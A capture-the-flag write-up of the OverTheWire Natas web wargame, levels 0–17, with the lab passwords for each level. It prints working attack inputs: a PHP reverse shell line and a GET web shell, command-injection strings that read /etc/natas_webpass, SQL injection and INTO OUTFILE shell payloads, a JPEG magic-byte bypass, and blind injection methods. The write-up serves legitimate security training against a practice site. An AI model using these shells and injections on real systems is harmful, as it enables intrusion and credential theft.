Over The Wire - Natas

The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.


Over The Wire - Natas

My focus has been on web application pentesting, and so Natas is a logical next step on Over the Wire. While it is requested that players not provide spoilers, including write-ups, that ship sailed quite some time ago. Since there are already numerous write-ups for Natas out there, I'd much rather that people had somewhere to learn something new from my trials, mistakes, and successes.

Level 0

Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. Passwords for each Level are stored in /etc/natas_webpass.

Level 0 -> 1

You can find the password for the next level on this page.

Using the web inspector, I can see a comment:
The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto


Level 1 -> 2

You can find the password for the next level on this page, but rightclicking has been blocked!

Sure enough, I can’t right click, but the web inspector is available from the browser menu

Using the web inspector, I can see a comment:
The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi


Level 2 -> 3

There is nothing on this page

Well, there’s no password in the HTML code, but there is a pixel file (pixel.png). It’s accessible in the Storage tab in the inspector, and directs me to http://natas2.natas.labs.overthewire.org/files/pixel.png

What other files might be here?

Well, users.txt looks interesting:

# username:password

Level 3 -> 4

There is nothing on this page


The inspector has one comment:
No more information leaks!! Not even Google will find it this time...

Let’s check the robots.txt to see what Google’s spiders aren’t allowed to look at:

User-agent: *
Disallow: /s3cr3t/

http://natas3.natas.labs.overthewire.org/s3cr3t/ contains another users.txt with:

Level 4 -> 5

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

Clicking the refresh page returns:

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

So, we need to look like we’re coming from natas5. Using Burp, we can add the line:

Referer: http://natas5.natas.labs.overthewire.org/

to the HTTP request headers bound for natas4, but that only gets us part way:

Access disallowed. You are visiting from "http://natas5.natas.labs.overthewire.org/, http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

In order to keep the second referral address from being included (i.e., from refreshing on the natas4 page), we need to come direct from somewhere else (e.g. google.ca) and add our referer line.

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

Level 5 -> 6

Access disallowed. You are not logged in

So, even less information that last time…looking in the web inspector, we can see a cookie called loggedin with its value set to 0. Changing the cookie’s value to 1 seems like a good idea. Easy enough to do in Chrome – just click on the field and change the value – but in Safari, we have to use the console:


Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Level 6 -> 7

This time we just get a text field labelled “Input secret:” and a submit button. We do, however, get a link called “view sourcecode”, linking us to natas6.natas.labs.overthewire.org/index-source.html that includes the following PHP:


include "includes/secret.inc";

 if(array_key_exists("submit", $_POST)) {
  if($secret == $_POST['secret']) {
  print "Access granted. The password for natas7 is <censored>";
 } else {
  print "Wrong secret";

Sure enough, submitting any word but the one in $secret, returns “Wrong secret”. So, we need to get the PHP to return the value of $secret, and it’s probably in includes/secret.inc

Going to: http://natas6.natas.labs.overthewire.org/includes/secret.inc shows us:


And submitting that string to the main page:

Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

Level 7 -> 8

Well, we seem to be done with logins for the moment…this page just has links to Home and About.

Checking the source code, there’s a commented hint: hint: password for webuser natas8 is in /etc/natas_webpass/natas8

It is not as simple as browsing to that address, however, the “etc” tells us we’re looking to get access to a directory on the Linux server hosting this site.

Clicking on the Home link, we get a simple page with the links and the text “this is the front page” (and the same hint in its source code). The same is true of the About page, but it’s “this is the about page”. Both pages, however, are retrieved on Get requests as evidenced by the URL displayed:



So, if we try the following we might be able to path traverse to the file we’re looking for:


But this gives us a couple of error warnings:

Warning: include(../../../etc/natas_webpass/natas8): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening '../../../etc/natas_webpass/natas8' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21

Perhaps we just haven’t gone deep enough into the file structure to get to /etc/… And, sure enough, adding a few more leading ../ to the address gets us the next password:


Level 8 -> 9

Back to login secrets…here we have an Input Secret field, a Submit button and a link to “View sourcecode”.

There’s nothing terribly exciting in the source code of the page, other than that the form will be Posted.

The View sourcecode link, on the other hand, gives us the PHP code that will encode the user’s entry for comparison to the encoded secret (## My comments):


$encodedSecret = "3d3d516343746d4d6d6c315669563362";
## This is the secret we want to compare successfully against.

function encodeSecret($secret) {
## This is the function that will encode the secret we enter into the Input Secret field
return bin2hex(strrev(base64_encode($secret)));
## First, the secret is bas64 encoded, then reversed, then converts it to hex.

if(array_key_exists("submit", $_POST)) {
 if(encodeSecret($_POST['secret']) == $encodedSecret) {
  print "Access granted. The password for natas9 is <censored>";
 } else {
  print "Wrong secret";

So, we need to convert the encodedSecret from hex to ASCII, reverse the order of characters, and base64 decode the result to get the login secret. Popping it into CyberChef, the FromHex gets us:


Reversing that gets us:


And base64 decoding it gets us:


Entering that string as our secret code gets us:

Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

Level 9 -> 10

This time we get a search field labelled “Find words containing:”, along with a currently empty Output: area, and another View sourcecode link.

Not much of interest in the page’s source code…the input field’s variable name is “needle”.

The View sourcecode page, however, gives us the PHP that will generate the content displayed for the Output: area (## My comments).

$key = "";
## There’s going to be something in this “Key” variable…

if(array_key_exists("needle", $_REQUEST)) {
 $key = $_REQUEST["needle"];
## If we enter something in the needle variable, then the key variable will be set to
## some kind of request for the content of needle

if($key != "") {
 passthru("grep -i $key dictionary.txt");
## If the request comes back with some content, then that content will be (non-case-
## specific) searched for in the file dictionary.txt using the CLI grep command

So, we want to send a request that gets back the whole of dictionary.txt. Grepping for the regex [A-Z0-9] returns everything in the dictionary, which is huge. We do know, however, that the key we are looking for will be 32 characters long, so we can grep for [A-Z0-9]{32}$ , but we do so without success.

Going back to the Request portion, let’s see if we can inject some code…

; ls gets us “dictionary.txt” in the output area…so we’re on the right track.

; ls -al .. get us directories for levels 0-34 and a stats folder

; cat ../../../../etc/natas_webpass/natas10 gets us:


Level 10 -> 11

Looks like a repeat of the last level, but now “For security reasons, we now filter on certain characters”, and the PHP bears that out:

if($key != "") {
 if(preg_match('/[;|&]/',$key)) {
  print "Input contains an illegal character!";
 } else {
  passthru("grep -i $key dictionary.txt");

So, we need to perform the same code injection, but without using the ; | & characters.

Our previous model of ; cat ../../../../etc/natas_webpass/natas11 gets us:

Input contains an illegal character!

Thankfully, those three characters aren’t the only way to escape the input field.

... cat ../../../../etc/natas_webpass/natas11 gets us:


Level 11 -> 12

A little different this time…we have a Background color field, a Set color button and another handy View sourcecode link, as well as a note that “Cookies are protected with XOR encryption”

There is a “data” cookie: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

The %3D is URL encoding for =, so it’s likely we have a base64 encoded string.

And the PHP for processing input (## My Comments):


$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
## By default it will not show the password and the background is white

function xor_encrypt($in) {
## Function to XOR encrypt data provided
 $key = '<censored>';
## The key is censored for now
 $text = $in;
## The text variable is a duplicate of the data provided
 $outText = '';
## The output will go to outText
 // Iterate through each character
 for($i=0;$i<strlen($text);$i++) {
 $outText .= $text[$i] ^ $key[$i % strlen($key)];
## For each character in the text string, XOR it with the key value, and output to outText

 return $outText;
## Function returns the XOR encoded value of the provided data

function loadData($def) {
## Function to load the provided data
 global $_COOKIE;
## Make the data cookie a global variable
 $mydata = $def;
## Duplicate the provided data as mydata
 if(array_key_exists("data", $_COOKIE)) {
 $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
## If the data cookie is available, base64 decode, XOR, and json decode the data
 if(is_array($tempdata) &&
 array_key_exists("showpassword", $tempdata) &&
 array_key_exists("bgcolor", $tempdata)) {
  if (preg_match('/^#(?:[a-f\d]{6})$/i',
  $tempdata['bgcolor'])) {
  $mydata['showpassword'] =
  $mydata['bgcolor'] = $tempdata['bgcolor'];
## If the decoded cookie data is an array containing the cookies showpassword and
## bgcolor, then check to see that bgcolor is a regular hex color string, and set mydata
## to the temporary decoded cookie data values
 return $mydata;
## Returns the decoded cookie data in the mydata array

function saveData($d) {
## Function to save the provided data
 setcookie("data", base64_encode(xor_encrypt( json_encode($d))));
## Set the data cookie to the base64 encoded, XOR’d, json encoded version of the data

$data = loadData($defaultdata);
## Here’s our first main command – take our default data ("showpassword"=>"no" and "bgcolor"=>"#ffffff"), make an encoded cookie of it, save it as the data variable

if(array_key_exists("bgcolor",$_REQUEST)) {
 if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
  $data['bgcolor'] = $_REQUEST['bgcolor'];
## If the bgcolor value is in the cookie data, and its value is a standard hex color value, ## then set the value of bgcolor in the data array to the output of a request for bgcolor.

## Save the value of the new data variable to the data cookie


if($data["showpassword"] == "yes") {
 print "The password for natas12 is <censored><br>";
## If the cookie’s showpassword value is yes, then it will show the password
 setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

So, the cookie is currently a JSON encoded version of the showpassword value = no and the bgcolor value = #ffffff, which has been XORd against an unknown key and then base64 encoded.

If we base64 decode the cookie, we get:


This needs to be XORd against the key, which we don’t know, but we do know the outcome of that XOR…it’s the JSON encoded defaultdata:

{ showpassword: "yes", bgcolor: "#ffffff" }

And we know that with XOR we can reverse it simply:

A ^ B = C
A ^ C = B

If the JSON is C, the base64-decoded mess is A, and the key is B, then we should be able to XOR the defaultdata against the mess to get the key.

The result is: qu8Jqw8Jqw8Jqw Pqw8Jqu8Jqw8Jqo"Jqw8Jqw8J,

So, our key must be something along the lines of qw8J

If we reverse the process, and XOR our showpassword:yes JSON with that key, and base64 encode it, we should have the cookie we need.


And reloading with that cookie, we get:

The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Level 12 -> 13

Choose a JPEG to upload (max 1KB): We can choose a file and upload it with separate buttons, and there’s a link to the sourcecode.


function genRandomString() {
 $length = 10;
 $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
 $string = "";

 for ($p = 0; $p < $length; $p++) {
  $string .= $characters[mt_rand(0, strlen($characters)-1)];

 return $string;

function makeRandomPath($dir, $ext) {
 do {
 $path = $dir."/".genRandomString().".".$ext;
 } while(file_exists($path));
 return $path;

function makeRandomPathFromFilename($dir, $fn) {
 $ext = pathinfo($fn, PATHINFO_EXTENSION);
 return makeRandomPath($dir, $ext);

if(array_key_exists("filename", $_POST)) {
 $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

 if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
  echo "File is too big";
 } else {
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
  echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
 } else{
  echo "There was an error uploading the file, please try again!";
} else {

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
<? } ?>

The file submitted is assigned a random name and a randomly-named directory, but both of these are visible once the file upload is complete. The only trick here seems to be to modify the client-side naming, in the form, of the file for upload – changing the .jpg to .php – and finding a suitable reverse PHP shell to upload.

I started with the PHP shell from pentestmonkey.net:

$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");

modified the IP and port for the connection’s destination machine, and saved it as shell.php. I uploaded that file, making sure to change the .jpg to .php when it is randomly renamed in the form’s hidden filename field. Clicking on the file link after the successful upload, however, we see that the server seems to be prevented from making outside connections.

Trying the same upload process with a new payload in shell.php:

echo shell_exec($_GET['cmd']);

and clicking on the linked upload file, we can add ?cmd=pwd to the URL and find that we do indeed have a shell. From there, it’s just a matter of:


and we get the natas13 password


Level 13 -> 14

For security reasons, we now only accept image files!

This page has the same file selection and upload buttons, but now the sourcecode reveals an additional check:

else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
 echo "File is not an image";

In order to trick the exif_imagetype command into thinking our PHP shell file is a JPG, we can open the shell.php file in Hex Fiend and add the JPG magic bytes FFD8FFE0 to start of the file. With this information, the command interprets the file as a JPG image for the purposes of its check and allows the upload to proceed.

Clicking on the linked uploaded file, we can add:


and we get the natas14 password


Level 14 -> 15

Moving away from file uploads, this time we’re presented with a username field and password field and a Login button. The sourcecode reveals that we are interacting with a MySQL database, and it is making the following query:

SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"

If the result returns 1 or more rows of data, the password for natas15 will be displayed.

In order to return all of the users from the database, we can use

" or 1=1; #

in the Username field (blank Password). This truncates the query to just:

SELECT * from users where username=\""" or 1=1; #

and our password is displayed

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15 -> 16

This time we don’t have password field, just a username, and the button says “Check existence”. Entering a random username in the field returns “This user doesn’t exist.” Entering “natas16” returns “This user exists.”

Testing with the " or 1=1; # we used in Level 14, returns “This user exists.”, but does not produce the password.

Now we just need to fashion a query that returns the users table, with usernames and passwords, that is referred to in the sourcecode comment:

CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL


" UNION SELECT concat(username,char(58),password),2 from users;#

we still get the “This user exists.” message, but no rows displayed. The code simply checks to see if the query would return 1+ rows, but doesn’t actually display the rows themselves.

Looking closer at the code, there is a debug feature:

if(array_key_exists("debug", $_GET)) {
 echo "Executing query: $query

On a GET request that includes ‘debug’, it will display the full query. Altering the form to a GET request, and including a debug field with the previous username SQLi, we get:

Executing query: SELECT * from users where username="" UNION SELECT concat(username,char(58),password),2 from users;#"

and just gets us “This user exists.”

Attempting to load the natas16 password file directly:

" UNION SELECT 1, load_file('/etc/natas_webpass/natas16'); #

returns “This user exists”, but still no data displayed. Perhaps a shell would work better…

" UNION SELECT '<?php system($_REQUEST['cmd']); ?>' INTO OUTFILE './shell.php'; #

" UNION SELECT '<?php echo shell_exec($_GET['cmd']); ?>' INTO OUTFILE './shell.php'; #

Nope. No luck there…There doesn’t seem to be any way around it for me at this stage; this is going to be blind SQLi, and I need to do some research. Hammer of Thor (https://mcpa.github.io/natas/wargame/web/overthewire/2015/09/29/natas15/) has a good write-up on how to solve this level, so I took it a bit at a time to get some clue of how to tackle blind SQLi like this.

The key is our ability to get different responses if the query is successful or not, and to be able to do some character-by-character comparisons with LIKE, BINARY (to force case-sensitivity), and wildcards. This will let us narrow the list of possible characters in the password for natas16 and then to use those characters to brute-force the solution.

So, testing our character gathering query inputs:

natas16" AND password LIKE BINARY "%a%";# returns “This user exists.”

natas16" AND password LIKE BINARY "%a%";# returns “This user doesn’t exist.”

That seems to be working, and we now know “a” is a character in the password. Hammer of Thor has the excellent suggestion that this is a tedious process best handled by scripting and I whole-heartedly agree…

Testing the query with the method changed to GET and the debug form field added produces the URL:


This returns the query and “This user exists”. Removing the &debug= just returns “This user exists.” That gives us the basis for requests that will return “exists” or (doesn’t) “exist”, and we can collect the characters from the exists responses.

Then we can remove the first wildcard, and start testing for the first character, adding it to a password string and repeating for each place in a password that could be as many as 64 characters long (but likely only 32, as usual).

The code can be found here. https://github.com/drewadwade/CTFs/blob/master/Natas/Blind_SQLi.py

And we get the password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Level 16 -> 17

Looks like a repeat of level 10, but now “For security reasons, we now filter even more on certain characters”, and the sourcecode shows:

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
 $key = $_REQUEST["needle"];

if($key != "") {
 if(preg_match('/[;|&`\'"]/',$key)) {
  print "Input contains an illegal character!";
 } else {
  passthru("grep -i \"$key\" dictionary.txt");

Compared to level 10, we’re now filtering out backticks, single-quotes, and double-quotes, which shouldn’t affect our previous model:

... cat ../../../../etc/natas_webpass/natas17

This doesn’t trigger the illegal character message, but it doesn’t show us the password either. Comparing the successful conditions, we can see that it is running the command

grep -i \"$key\" dictionary.txt

instead of

grep -i $key dictionary.txt

Unfortunately, this will take our input as string and not run the command...

Fortunately, we're not filtering $ or (), so we might be able to inject an additional BASH command that way. Trying:

$( cat ../../../../etc/natas_webpass/natas17 )

we should get back the file we need, but again we get neither output nor error. Likewise for:

$( cat /etc/natas_webpass/natas17 )

Trying just: $( echo hello )

returns just the hello results from the dictionary, but it means that our code is being interpreted, which ties back to our blind SQLi in the previous level. If we try to grep a couple of different letters in the file, we get:

$( grep a /etc/natas_webpass/natas17 ) - returns whole dictionary

$( grep b /etc/natas_webpass/natas17 ) - returns nothing

$( grep c /etc/natas_webpass/natas17 ) - returns nothing

$( grep A /etc/natas_webpass/natas17 ) - returns nothing

$( grep B /etc/natas_webpass/natas17 ) - returns whole dictionary

$( grep C /etc/natas_webpass/natas17 ) - returns whole dictionary

So, we are getting responses that equate to successful and unsuccessful greps for those letter, but which is which?

It's unlikely that the password is contains 10 a's in a row:

$( grep aaaaaaaaaa /etc/natas_webpass/natas17 ) - returns whole dictionary

So, returning the dictionary means an unsuccessful grep. Let's start with the blind SQLi code...

The query for $( grep a /etc/natas_webpass/natas17 ) is:


So, our initial url variable will be:

url = 'http://natas16.natas.labs.overthewire.org/?needle=%24%28+grep+' + char1 + '+%2Fetc%2Fnatas_webpass%2Fnatas17+%29&submit=Search'

One pass will give us a list of the characters used in the password, then we can check each of those characters added on to the previous character(s), to get a complete password...in theory.

In reality, we get a large 24-character portion of the password:


since the grep started with b, but that is not necessarily the first character in the password. So, we need to try adding letters to the beginning of the password segment we've recovered. And that gives us:


The code is here: https://github.com/drewadwade/CTFs/blob/master/Natas/Blind_BASHi.py


Final Score: